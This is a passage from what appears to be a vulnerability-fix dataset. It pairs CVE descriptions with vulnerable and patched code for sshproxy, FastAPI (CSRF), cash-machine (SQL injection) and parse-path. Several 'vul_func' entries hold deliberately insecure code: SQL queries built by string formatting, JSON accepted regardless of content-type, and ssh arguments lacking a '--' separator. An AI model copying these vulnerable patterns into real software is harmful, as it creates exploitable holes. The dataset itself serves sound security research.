etcdKeyTTL)\n\t\tetcdPath = eP\n\t\tif err != nil {\n\t\t\tlog.Warningf(\"setting destination in etcd: %v\", err)\n\t\t}\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase isChanAlive := <-keepAliveChan:\n\t\t\t\t\tif isChanAlive == nil {\n\t\t\t\t\t\tcli.Disable()\n\t\t\t\t\t\ttmpKeepAliveChan, err = cli.NewLease(ctx)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Warningf(\"getting a new lease in etcd: %v\", err)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tkeepAliveChan = tmpKeepAliveChan\n\t\t\t\t\t\t\tcli.Enable()\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// launch background command\n\tif config.BgCommand != \"\" {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tcmd := prepareBackgroundCommand(ctx, config.BgCommand, config.Debug)\n\t\t\tif _, err := runCommand(cmd, false); err != nil {\n\t\t\t\tselect {\n\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\t// stay silent as the session is now finished\n\t\t\t\tdefault:\n\t\t\t\t\tlog.Errorf(\"error running background command: %s\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// Launch goroutine which exits sshproxy if it's attached to PID 1\n\t// (which means its ssh parent connection is dead).\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-time.After(1 * time.Second):\n\t\t\t\tif os.Getppid() == 1 {\n\t\t\t\t\tlog.Warning(\"SSH parent connection is dead\")\n\t\t\t\t\tcancel()\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\toriginalCmd := os.Getenv(\"SSH_ORIGINAL_COMMAND\")\n\tlog.Debugf(\"original command = %s\", originalCmd)\n\n\tinteractiveCommand := term.IsTerminal(os.Stdout.Fd())\n\tlog.Debugf(\"interactiveCommand = %v\", interactiveCommand)\n\n\tsshArgs := config.SSH.Args\n\tenvSshproxyArgs := strings.Fields(os.Getenv(\"SSHPROXY_ARGS\"))\n\tif len(envSshproxyArgs) != 0 {\n\t\tsshArgs = append(sshArgs, envSshproxyArgs...)\n\t}\n\tif port != utils.DefaultSSHPort {\n\t\tsshArgs = append(sshArgs, \"-p\", port)\n\t}\n\tdoCmd := \"\"\n\tif forceCommand != \"\" {\n\t\tlog.Debugf(\"forceCommand = %s\", forceCommand)\n\t\tdoCmd = forceCommand\n\t} else if originalCmd != \"\" {\n\t\tdoCmd = originalCmd\n\t}\n\tcommandTranslated := false\n\tif doCmd != \"\" {\n\t\tif commandMustMatch && originalCmd != doCmd {\n\t\t\tlog.Errorf(\"error executing proxied ssh command: originalCmd \\\"%s\\\" does not match forceCommand \\\"%s\\\"\", originalCmd, forceCommand)\n\t\t\treturn 1\n\t\t}\n\t\tfor fromCmd, translateCmdConf := range config.TranslateCommands {\n\t\t\tif doCmd == fromCmd {\n\t\t\t\tlog.Debugf(\"translateCmdConf = %+v\", translateCmdConf)\n\t\t\t\tsshArgs = append(sshArgs, translateCmdConf.SSHArgs...)\n\t\t\t\tsshArgs = append(sshArgs, \"--\", host, translateCmdConf.Command)\n\t\t\t\tif config.Dump != \"\" && translateCmdConf.DisableDump {\n\t\t\t\t\tconfig.Dump = \"etcd\"\n\t\t\t\t}\n\t\t\t\tcommandTranslated = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !commandTranslated {\n\t\t\tif interactiveCommand {\n\t\t\t\t// Force TTY allocation because the user probably asked for it.\n\t\t\t\tsshArgs = append(sshArgs, \"-t\")\n\t\t\t}\n\t\t\tsshArgs = append(sshArgs, host, doCmd)\n\t\t}\n\t} else {\n\t\tsshArgs = append(sshArgs, host)\n\t}\n\tcmd := exec.CommandContext(ctx, config.SSH.Exe, sshArgs...)\n\tlog.Debugf(\"command = %s %q\", cmd.Path, cmd.Args)\n\n\tvar recorder *Recorder\n\tif config.Dump != \"\" {\n\t\trecorder = NewRecorder(conninfo, config.Dump, doCmd, config.EtcdStatsInterval.Duration(), config.LogStatsInterval.Duration(), config.DumpLimitSize, config.DumpLimitWindow.Duration())\n\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\trecorder.Run(ctx, cli, etcdPath)\n\t\t}()\n\t}\n\n\tlog.Infof(\"proxied to %s (service: %s)\", hostport, service)\n\n\tvar rc int\n\tif interactiveCommand {\n\t\trc, err = runTtyCommand(cmd, recorder)\n\t} else {\n\t\trc, err = runStdCommand(cmd, recorder)\n\t}\n\tif err != nil {\n\t\tlog.Errorf(\"error executing proxied ssh command: %s\", err)\n\t}\n\n\t// return command exit code\n\treturn rc\n}"}], "fix_func": [{"id": "fix_go_164_1", "commit": "f7eabd0", "file_path": "cmd/sshproxy/sshproxy.go", "start_line": 237, "end_line": 523, "snippet": "func mainExitCode() int {\n\tdefer func() {\n\t\t// log error in case of panic()\n\t\tif err := recover(); err != nil {\n\t\t\tlog.Errorf(\"program panicked: %s\", err)\n\t\t\tlog.Errorf(\"Stack: %s\", debug.Stack())\n\t\t}\n\t}()\n\n\tvar err error\n\tstart := time.Now()\n\n\tversionFlag := flag.Bool(\"version\", false, \"show version number and exit\")\n\tflag.Usage = usage\n\tflag.Parse()\n\n\tif *versionFlag {\n\t\tfmt.Fprintf(os.Stderr, \"sshproxy version %s\\n\", SshproxyVersion)\n\t\treturn 0\n\t}\n\n\tconfigFile := defaultConfig\n\tif flag.NArg() != 0 {\n\t\tconfigFile = flag.Arg(0)\n\t}\n\n\tcurrentUser, err := user.Current()\n\tif err != nil {\n\t\tlog.Fatalf(\"Cannot find current user: %s\", err)\n\t}\n\tusername := currentUser.Username\n\n\tsshConnection := os.Getenv(\"SSH_CONNECTION\")\n\tif sshConnection == \"\" {\n\t\tlog.Fatal(\"No SSH_CONNECTION environment variable\")\n\t}\n\n\tsshInfos, err := NewSSHInfo(sshConnection)\n\tif err != nil {\n\t\tlog.Fatalf(\"parsing SSH_CONNECTION '%s': %s\", sshConnection, err)\n\t}\n\n\tconninfo := &ConnInfo{\n\t\tStart: start,\n\t\tUser:  username,\n\t\tSSH:   sshInfos,\n\t}\n\n\tsid := utils.CalcSessionID(conninfo.User, conninfo.Start, conninfo.SSH.Src())\n\n\tgroups, err := utils.GetGroups()\n\tif err != nil {\n\t\tlog.Fatalf(\"Cannot find current user groups: %s\", err)\n\t}\n\n\tconfig, err := utils.LoadConfig(configFile, username, sid, start, groups)\n\tif err != nil {\n\t\tlog.Fatalf(\"Reading configuration '%s': %s\", configFile, err)\n\t}\n\n\tlogformat := fmt.Sprintf(\"%%{time:2006-01-02 15:04:05} %%{level} %s: %%{message}\", sid)\n\tsyslogformat := fmt.Sprintf(\"%%{level} %s: %%{message}\", sid)\n\tutils.MustSetupLogging(\"sshproxy\", config.Log, logformat, syslogformat, config.Debug)\n\n\tfor _, configLine := range utils.PrintConfig(config, groups) {\n\t\tlog.Debug(configLine)\n\t}\n\n\tlog.Infof(\"%s connected from %s to sshd listening on %s\", username, sshInfos.Src(), sshInfos.Dst())\n\tdefer log.Info(\"disconnected\")\n\n\tcli, err := utils.NewEtcdClient(config, log)\n\tif err != nil {\n\t\tlog.Errorf(\"Cannot contact etcd cluster to update state: %v\", err)\n\t}\n\n\tif cli != nil && cli.IsAlive() {\n\t\tif config.MaxConnectionsPerUser > 0 {\n\t\t\tuserConnectionsCount, err := cli.GetUserConnectionsCount(username)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Getting user connections count: %s\", err)\n\t\t\t}\n\t\t\tlog.Debugf(\"Number of connections of %s: %d\", username, userConnectionsCount)\n\t\t\tif userConnectionsCount >= config.MaxConnectionsPerUser {\n\t\t\t\tfmt.Fprintln(os.Stderr, \"Too many simultaneous connections\")\n\t\t\t\tlog.Fatalf(\"Max connections per user reached for %s\", username)\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif config.Etcd.Mandatory {\n\t\t\tlog.Fatal(\"Etcd is mandatory but unavailable\")\n\t\t}\n\t}\n\n\tservice, hostport, forceCommand, commandMustMatch, etcdKeyTTL, environment, err := findDestination(cli, username, config.Routes, sshInfos.Dst(), config.CheckInterval)\n\tswitch {\n\tcase err != nil:\n\t\tlog.Fatalf(\"Finding destination: %s\", err)\n\tcase hostport == \"\":\n\t\terrorBanner := \"\"\n\t\tif cli != nil && cli.IsAlive() {\n\t\t\terrorBanner, _, _ = cli.GetErrorBanner()\n\t\t}\n\t\tif errorBanner == \"\" {\n\t\t\terrorBanner = config.ErrorBanner\n\t\t}\n\t\tif errorBanner != \"\" {\n\t\t\tfmt.Println(errorBanner)\n\t\t}\n\t\tlog.Fatal(\"Cannot find a valid destination\")\n\t}\n\thost, port, err := utils.SplitHostPort(hostport)\n\tif err != nil {\n\t\tlog.Fatalf(\"Invalid destination '%s': %s\", hostport, err)\n\t}\n\n\tlog.Debugf(\"service = %s\", service)\n\n\t// merge service environment with global environment\n\tfor k, v := range environment {\n\t\tconfig.Environment[k] = v\n\t}\n\tsetEnvironment(config.Environment)\n\n\t// waitgroup and channel to stop our background command when exiting.\n\tvar wg sync.WaitGroup\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer func() {\n\t\tcancel()\n\t\twg.Wait()\n\t}()\n\n\tsigChannel := make(chan os.Signal, 1)\n\tsignal.Notify(sigChannel, os.Interrupt, syscall.SIGHUP, syscall.SIGTERM)\n\tgo func() {\n\t\ts := <-sigChannel\n\t\tlog.Infof(\"Got signal %s, exiting\", s)\n\t\tcancel()\n\t}()\n\n\tvar etcdPath string\n\tvar tmpKeepAliveChan <-chan *clientv3.LeaseKeepAliveResponse\n\t// Register destination in etcd and keep it alive while running.\n\tif cli != nil && cli.IsAlive() {\n\t\tkey := fmt.Sprintf(\"%s@%s\", username, service)\n\t\tkeepAliveChan, eP, err := cli.SetDestination(ctx, key, sshInfos.Dst(), hostport, etcdKeyTTL)\n\t\tetcdPath = eP\n\t\tif err != nil {\n\t\t\tlog.Warningf(\"setting destination in etcd: %v\", err)\n\t\t}\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase isChanAlive := <-keepAliveChan:\n\t\t\t\t\tif isChanAlive == nil {\n\t\t\t\t\t\tcli.Disable()\n\t\t\t\t\t\ttmpKeepAliveChan, err = cli.NewLease(ctx)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Warningf(\"getting a new lease in etcd: %v\", err)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tkeepAliveChan = tmpKeepAliveChan\n\t\t\t\t\t\t\tcli.Enable()\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// launch background command\n\tif config.BgCommand != \"\" {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tcmd := prepareBackgroundCommand(ctx, config.BgCommand, config.Debug)\n\t\t\tif _, err := runCommand(cmd, false); err != nil {\n\t\t\t\tselect {\n\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\t// stay silent as the session is now finished\n\t\t\t\tdefault:\n\t\t\t\t\tlog.Errorf(\"error running background command: %s\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// Launch goroutine which exits sshproxy if it's attached to PID 1\n\t// (which means its ssh parent connection is dead).\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-time.After(1 * time.Second):\n\t\t\t\tif os.Getppid() == 1 {\n\t\t\t\t\tlog.Warning(\"SSH parent connection is dead\")\n\t\t\t\t\tcancel()\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\toriginalCmd := os.Getenv(\"SSH_ORIGINAL_COMMAND\")\n\tlog.Debugf(\"original command = %s\", originalCmd)\n\n\tinteractiveCommand := term.IsTerminal(os.Stdout.Fd())\n\tlog.Debugf(\"interactiveCommand = %v\", interactiveCommand)\n\n\tsshArgs := config.SSH.Args\n\tenvSshproxyArgs := strings.Fields(os.Getenv(\"SSHPROXY_ARGS\"))\n\tif len(envSshproxyArgs) != 0 {\n\t\tsshArgs = append(sshArgs, envSshproxyArgs...)\n\t}\n\tif port != utils.DefaultSSHPort {\n\t\tsshArgs = append(sshArgs, \"-p\", port)\n\t}\n\tdoCmd := \"\"\n\tif forceCommand != \"\" {\n\t\tlog.Debugf(\"forceCommand = %s\", forceCommand)\n\t\tdoCmd = forceCommand\n\t} else if originalCmd != \"\" {\n\t\tdoCmd = originalCmd\n\t}\n\tcommandTranslated := false\n\tif doCmd != \"\" {\n\t\tif commandMustMatch && originalCmd != doCmd {\n\t\t\tlog.Errorf(\"error executing proxied ssh command: originalCmd \\\"%s\\\" does not match forceCommand \\\"%s\\\"\", originalCmd, forceCommand)\n\t\t\treturn 1\n\t\t}\n\t\tfor fromCmd, translateCmdConf := range config.TranslateCommands {\n\t\t\tif doCmd == fromCmd {\n\t\t\t\tlog.Debugf(\"translateCmdConf = %+v\", translateCmdConf)\n\t\t\t\tsshArgs = append(sshArgs, translateCmdConf.SSHArgs...)\n\t\t\t\tsshArgs = append(sshArgs, host, \"--\", translateCmdConf.Command)\n\t\t\t\tif config.Dump != \"\" && translateCmdConf.DisableDump {\n\t\t\t\t\tconfig.Dump = \"etcd\"\n\t\t\t\t}\n\t\t\t\tcommandTranslated = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !commandTranslated {\n\t\t\tif interactiveCommand {\n\t\t\t\t// Force TTY allocation because the user probably asked for it.\n\t\t\t\tsshArgs = append(sshArgs, \"-t\")\n\t\t\t}\n\t\t\tsshArgs = append(sshArgs, host, \"--\", doCmd)\n\t\t}\n\t} else {\n\t\tsshArgs = append(sshArgs, host)\n\t}\n\tcmd := exec.CommandContext(ctx, config.SSH.Exe, sshArgs...)\n\tlog.Debugf(\"command = %s %q\", cmd.Path, cmd.Args)\n\n\tvar recorder *Recorder\n\tif config.Dump != \"\" {\n\t\trecorder = NewRecorder(conninfo, config.Dump, doCmd, config.EtcdStatsInterval.Duration(), config.LogStatsInterval.Duration(), config.DumpLimitSize, config.DumpLimitWindow.Duration())\n\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\trecorder.Run(ctx, cli, etcdPath)\n\t\t}()\n\t}\n\n\tlog.Infof(\"proxied to %s (service: %s)\", hostport, service)\n\n\tvar rc int\n\tif interactiveCommand {\n\t\trc, err = runTtyCommand(cmd, recorder)\n\t} else {\n\t\trc, err = runStdCommand(cmd, recorder)\n\t}\n\tif err != nil {\n\t\tlog.Errorf(\"error executing proxied ssh command: %s\", err)\n\t}\n\n\t// return command exit code\n\treturn rc\n}"}], "vul_patch": "--- a/cmd/sshproxy/sshproxy.go\n+++ b/cmd/sshproxy/sshproxy.go\n@@ -238,7 +238,7 @@\n \t\t\tif doCmd == fromCmd {\n \t\t\t\tlog.Debugf(\"translateCmdConf = %+v\", translateCmdConf)\n \t\t\t\tsshArgs = append(sshArgs, translateCmdConf.SSHArgs...)\n-\t\t\t\tsshArgs = append(sshArgs, \"--\", host, translateCmdConf.Command)\n+\t\t\t\tsshArgs = append(sshArgs, host, \"--\", translateCmdConf.Command)\n \t\t\t\tif config.Dump != \"\" && translateCmdConf.DisableDump {\n \t\t\t\t\tconfig.Dump = \"etcd\"\n \t\t\t\t}\n@@ -251,7 +251,7 @@\n \t\t\t\t// Force TTY allocation because the user probably asked for it.\n \t\t\t\tsshArgs = append(sshArgs, \"-t\")\n \t\t\t}\n-\t\t\tsshArgs = append(sshArgs, host, doCmd)\n+\t\t\tsshArgs = append(sshArgs, host, \"--\", doCmd)\n \t\t}\n \t} else {\n \t\tsshArgs = append(sshArgs, host)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32677", "cve_description": "FastAPI is a web framework for building APIs with Python 3.6+ based on standard Python type hints. FastAPI versions lower than 0.65.2 that used cookies for authentication in path operations that received JSON payloads sent by browsers were vulnerable to a Cross-Site Request Forgery (CSRF) attack. In versions lower than 0.65.2, FastAPI would try to read the request payload as JSON even if the content-type header sent was not set to application/json or a compatible JSON media type (e.g. application/geo+json). A request with a content type of text/plain containing JSON data would be accepted and the JSON data would be extracted. Requests with content type text/plain are exempt from CORS preflights, for being considered Simple requests. The browser will execute them right away including cookies, and the text content could be a JSON string that would be parsed and accepted by the FastAPI application. This is fixed in FastAPI 0.65.2. The request data is now parsed as JSON only if the content-type header is application/json or another JSON compatible media type like application/geo+json. It's best to upgrade to the latest FastAPI, but if updating is not possible then a middleware or a dependency that checks the content-type header and aborts the request if it is not application/json or another JSON compatible content type can act as a mitigating workaround.", "cwe_info": {"CWE-352": {"name": "Cross-Site Request Forgery (CSRF)", "description": "The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. "}}, "repo": "https://github.com/tiangolo/fastapi", "patch_url": ["https://github.com/tiangolo/fastapi/commit/fa7e3c996edf2d5482fff8f9d890ac2390dede4d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_423_1", "commit": "90120dd", "file_path": "fastapi/routing.py", "start_line": 175, "end_line": 228, "snippet": "    async def app(request: Request) -> Response:\n        try:\n            body = None\n            if body_field:\n                if is_body_form:\n                    body = await request.form()\n                else:\n                    body_bytes = await request.body()\n                    if body_bytes:\n                        body = await request.json()\n        except json.JSONDecodeError as e:\n            raise RequestValidationError([ErrorWrapper(e, (\"body\", e.pos))], body=e.doc)\n        except Exception as e:\n            raise HTTPException(\n                status_code=400, detail=\"There was an error parsing the body\"\n            ) from e\n        solved_result = await solve_dependencies(\n            request=request,\n            dependant=dependant,\n            body=body,\n            dependency_overrides_provider=dependency_overrides_provider,\n        )\n        values, errors, background_tasks, sub_response, _ = solved_result\n        if errors:\n            raise RequestValidationError(errors, body=body)\n        else:\n            raw_response = await run_endpoint_function(\n                dependant=dependant, values=values, is_coroutine=is_coroutine\n            )\n\n            if isinstance(raw_response, Response):\n                if raw_response.background is None:\n                    raw_response.background = background_tasks\n                return raw_response\n            response_data = await serialize_response(\n                field=response_field,\n                response_content=raw_response,\n                include=response_model_include,\n                exclude=response_model_exclude,\n                by_alias=response_model_by_alias,\n                exclude_unset=response_model_exclude_unset,\n                exclude_defaults=response_model_exclude_defaults,\n                exclude_none=response_model_exclude_none,\n                is_coroutine=is_coroutine,\n            )\n            response = actual_response_class(\n                content=response_data,\n                status_code=status_code,\n                background=background_tasks,  # type: ignore # in Starlette\n            )\n            response.headers.raw.extend(sub_response.headers.raw)\n            if sub_response.status_code:\n                response.status_code = sub_response.status_code\n            return response"}], "fix_func": [{"id": "fix_py_423_1", "commit": "fa7e3c996edf2d5482fff8f9d890ac2390dede4d", "file_path": "fastapi/routing.py", "start_line": 176, "end_line": 241, "snippet": "    async def app(request: Request) -> Response:\n        try:\n            body: Any = None\n            if body_field:\n                if is_body_form:\n                    body = await request.form()\n                else:\n                    body_bytes = await request.body()\n                    if body_bytes:\n                        json_body: Any = Undefined\n                        content_type_value = request.headers.get(\"content-type\")\n                        if content_type_value:\n                            message = email.message.Message()\n                            message[\"content-type\"] = content_type_value\n                            if message.get_content_maintype() == \"application\":\n                                subtype = message.get_content_subtype()\n                                if subtype == \"json\" or subtype.endswith(\"+json\"):\n                                    json_body = await request.json()\n                        if json_body != Undefined:\n                            body = json_body\n                        else:\n                            body = body_bytes\n        except json.JSONDecodeError as e:\n            raise RequestValidationError([ErrorWrapper(e, (\"body\", e.pos))], body=e.doc)\n        except Exception as e:\n            raise HTTPException(\n                status_code=400, detail=\"There was an error parsing the body\"\n            ) from e\n        solved_result = await solve_dependencies(\n            request=request,\n            dependant=dependant,\n            body=body,\n            dependency_overrides_provider=dependency_overrides_provider,\n        )\n        values, errors, background_tasks, sub_response, _ = solved_result\n        if errors:\n            raise RequestValidationError(errors, body=body)\n        else:\n            raw_response = await run_endpoint_function(\n                dependant=dependant, values=values, is_coroutine=is_coroutine\n            )\n\n            if isinstance(raw_response, Response):\n                if raw_response.background is None:\n                    raw_response.background = background_tasks\n                return raw_response\n            response_data = await serialize_response(\n                field=response_field,\n                response_content=raw_response,\n                include=response_model_include,\n                exclude=response_model_exclude,\n                by_alias=response_model_by_alias,\n                exclude_unset=response_model_exclude_unset,\n                exclude_defaults=response_model_exclude_defaults,\n                exclude_none=response_model_exclude_none,\n                is_coroutine=is_coroutine,\n            )\n            response = actual_response_class(\n                content=response_data,\n                status_code=status_code,\n                background=background_tasks,  # type: ignore # in Starlette\n            )\n            response.headers.raw.extend(sub_response.headers.raw)\n            if sub_response.status_code:\n                response.status_code = sub_response.status_code\n            return response"}], "vul_patch": "--- a/fastapi/routing.py\n+++ b/fastapi/routing.py\n@@ -1,13 +1,25 @@\n     async def app(request: Request) -> Response:\n         try:\n-            body = None\n+            body: Any = None\n             if body_field:\n                 if is_body_form:\n                     body = await request.form()\n                 else:\n                     body_bytes = await request.body()\n                     if body_bytes:\n-                        body = await request.json()\n+                        json_body: Any = Undefined\n+                        content_type_value = request.headers.get(\"content-type\")\n+                        if content_type_value:\n+                            message = email.message.Message()\n+                            message[\"content-type\"] = content_type_value\n+                            if message.get_content_maintype() == \"application\":\n+                                subtype = message.get_content_subtype()\n+                                if subtype == \"json\" or subtype.endswith(\"+json\"):\n+                                    json_body = await request.json()\n+                        if json_body != Undefined:\n+                            body = json_body\n+                        else:\n+                            body = body_bytes\n         except json.JSONDecodeError as e:\n             raise RequestValidationError([ErrorWrapper(e, (\"body\", e.pos))], body=e.doc)\n         except Exception as e:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-10069", "cve_description": "A vulnerability was found in viakondratiuk cash-machine. It has been declared as critical. This vulnerability affects the function is_card_pin_at_session/update_failed_attempts of the file machine.py. The manipulation leads to sql injection. The name of the patch is 62a6e24efdfa195b70d7df140d8287fdc38eb66d. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-218896.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/viakondratiuk/cash-machine", "patch_url": ["https://github.com/viakondratiuk/cash-machine/commit/62a6e24efdfa195b70d7df140d8287fdc38eb66d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_408_1", "commit": "e3496978a07aa6f53aa76c7223df311dd8424f20", "file_path": "machine.py", "start_line": 153, "end_line": 166, "snippet": "def get_card(request, cc_number):\n    q = \"select * from cards where cc_number = '%s'\" % cc_number.replace('-', '')\n    row = request.db.execute(q).fetchone()\n    if row is not None:\n        return dict(\n            id = row[0],\n            cc_number = row[1],\n            pin = row[2],\n            failed_attempts = row[3],\n            status = row[4],\n            balance = row[5],\n            cc_dashed = cc_number,\n            valid_pin = False\n        )"}, {"id": "vul_py_408_2", "commit": "e3496978a07aa6f53aa76c7223df311dd8424f20", "file_path": "machine.py", "start_line": 173, "end_line": 176, "snippet": "def block_card(request):\n    card = request.session['card']\n    request.db.execute(\"update cards set status = 'blocked' where id = %s\" % card['id'])\n    request.db.commit()"}], "fix_func": [{"id": "fix_py_408_1", "commit": "62a6e24efdfa195b70d7df140d8287fdc38eb66d", "file_path": "machine.py", "start_line": 153, "end_line": 165, "snippet": "def get_card(request, cc_number):\n    row = request.db.execute(\"select * from cards where cc_number = ?\", (cc_number.replace('-', ''),)).fetchone()\n    if row is not None:\n        return dict(\n            id = row[0],\n            cc_number = row[1],\n            pin = row[2],\n            failed_attempts = row[3],\n            status = row[4],\n            balance = row[5],\n            cc_dashed = cc_number,\n            valid_pin = False\n        )"}, {"id": "fix_py_408_2", "commit": "62a6e24efdfa195b70d7df140d8287fdc38eb66d", "file_path": "machine.py", "start_line": 172, "end_line": 175, "snippet": "def block_card(request):\n    card = request.session['card']\n    request.db.execute(\"update cards set status = 'blocked' where id = ?\", (card['id'],))\n    request.db.commit()"}], "vul_patch": "--- a/machine.py\n+++ b/machine.py\n@@ -1,6 +1,5 @@\n def get_card(request, cc_number):\n-    q = \"select * from cards where cc_number = '%s'\" % cc_number.replace('-', '')\n-    row = request.db.execute(q).fetchone()\n+    row = request.db.execute(\"select * from cards where cc_number = ?\", (cc_number.replace('-', ''),)).fetchone()\n     if row is not None:\n         return dict(\n             id = row[0],\n\n--- a/machine.py\n+++ b/machine.py\n@@ -1,4 +1,4 @@\n def block_card(request):\n     card = request.session['card']\n-    request.db.execute(\"update cards set status = 'blocked' where id = %s\" % card['id'])\n+    request.db.execute(\"update cards set status = 'blocked' where id = ?\", (card['id'],))\n     request.db.commit()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0624", "cve_description": "Authorization Bypass Through User-Controlled Key in GitHub repository ionicabizau/parse-path prior to 5.0.0.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/ionicabizau/parse-path", "patch_url": ["https://github.com/ionicabizau/parse-path/commit/f9ad8856a3c8ae18e1cf4caef5edbabbc42840e8"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_126_1", "commit": "3795a3c", "file_path": "lib/index.js", "start_line": 27, "end_line": 133, "snippet": "function parsePath(url) {\n    url = (url || \"\").trim().replace(/\\r?\\n|\\r/gm, \"\")\n    var output = {\n            protocols: protocols(url)\n          , protocol: null\n          , port: null\n          , resource: \"\"\n          , user: \"\"\n          , pathname: \"\"\n          , hash: \"\"\n          , search: \"\"\n          , href: url\n          , query: Object.create(null)\n        }\n      , protocolIndex = url.indexOf(\"://\")\n      , resourceIndex = -1\n      , splits = null\n      , parts = null\n      ;\n\n    if (url.startsWith(\".\")) {\n        if (url.startsWith(\"./\")) {\n            url = url.substring(2);\n        }\n        output.pathname = url;\n        output.protocol = \"file\";\n    }\n\n    const firstChar = url.charAt(1)\n    if (!output.protocol) {\n        output.protocol = output.protocols[0]\n        if (!output.protocol) {\n            if (isSsh(url)) {\n                output.protocol = \"ssh\"\n            } else if (firstChar === \"/\" || firstChar === \"~\") {\n                url = url.substring(2)\n                output.protocol = \"file\"\n            } else {\n                output.protocol = \"file\"\n            }\n        }\n    }\n\n    if (protocolIndex !== -1) {\n        url = url.substring(protocolIndex + 3);\n    }\n\n    parts = url.split(/\\/|\\\\/);\n    if (output.protocol !== \"file\") {\n        output.resource = parts.shift();\n    } else {\n        output.resource = \"\";\n    }\n\n    // user@domain\n    splits = output.resource.split(\"@\");\n    if (splits.length === 2) {\n        output.user = splits[0];\n        output.resource = splits[1];\n    }\n\n\n    // domain.com:port\n    splits = output.resource.split(\":\");\n    if (splits.length === 2) {\n        output.resource = splits[0];\n        const port = splits[1];\n        if (port) {\n            output.port = Number(port);\n            if (isNaN(output.port) || port.match(/^\\d+$/) === null) {\n                output.port = null;\n                parts.unshift(port);\n            }\n        } else {\n            output.port = null\n        }\n    }\n\n    // Remove empty elements\n    parts = parts.filter(Boolean);\n\n    // Stringify the pathname\n    if (output.protocol === \"file\") {\n        output.pathname = output.href\n    } else {\n      output.pathname = output.pathname || ((output.protocol !== \"file\" || output.href[0] === \"/\" ? \"/\" : \"\") + parts.join(\"/\"));\n    }\n\n    // #some-hash\n    splits = output.pathname.split(\"#\");\n    if (splits.length === 2) {\n        output.pathname = splits[0];\n        output.hash = splits[1];\n    }\n\n    // ?foo=bar\n    splits = output.pathname.split(\"?\");\n    if (splits.length === 2) {\n        output.pathname = splits[0];\n        output.search = splits[1];\n    }\n\n    output.query = qs.parse(output.search);\n    output.href = output.href.replace(/\\/$/, \"\")\n    output.pathname = output.pathname.replace(/\\/$/, \"\")\n    return output;\n}"}], "fix_func": [{"id": "fix_js_126_1", "commit": "f9ad885", "file_path": "lib/index.js", "start_line": 23, "end_line": 69, "snippet": "function parsePath(url) {\n\n    const output = {\n        protocols: []\n      , protocol: null\n      , port: null\n      , resource: \"\"\n      , user: \"\"\n      , password: \"\"\n      , pathname: \"\"\n      , hash: \"\"\n      , search: \"\"\n      , href: url\n      , query: {}\n    }\n\n    try {\n        const parsed = new URL(url)\n        output.protocols = protocols(parsed)\n        output.protocol = output.protocols[0]\n        output.port = parsed.port\n        output.resource =  parsed.host\n        output.user = parsed.username || \"\"\n        output.password = parsed.password || \"\"\n        output.pathname = parsed.pathname\n        output.hash = parsed.hash.slice(1)\n        output.search = parsed.search.slice(1)\n        output.href = parsed.href\n        output.query = Object.fromEntries(parsed.searchParams)\n    } catch (e) {\n        // TODO Maybe check if it is a valid local file path\n        //      In any case, these will be parsed by higher\n        //      level parsers 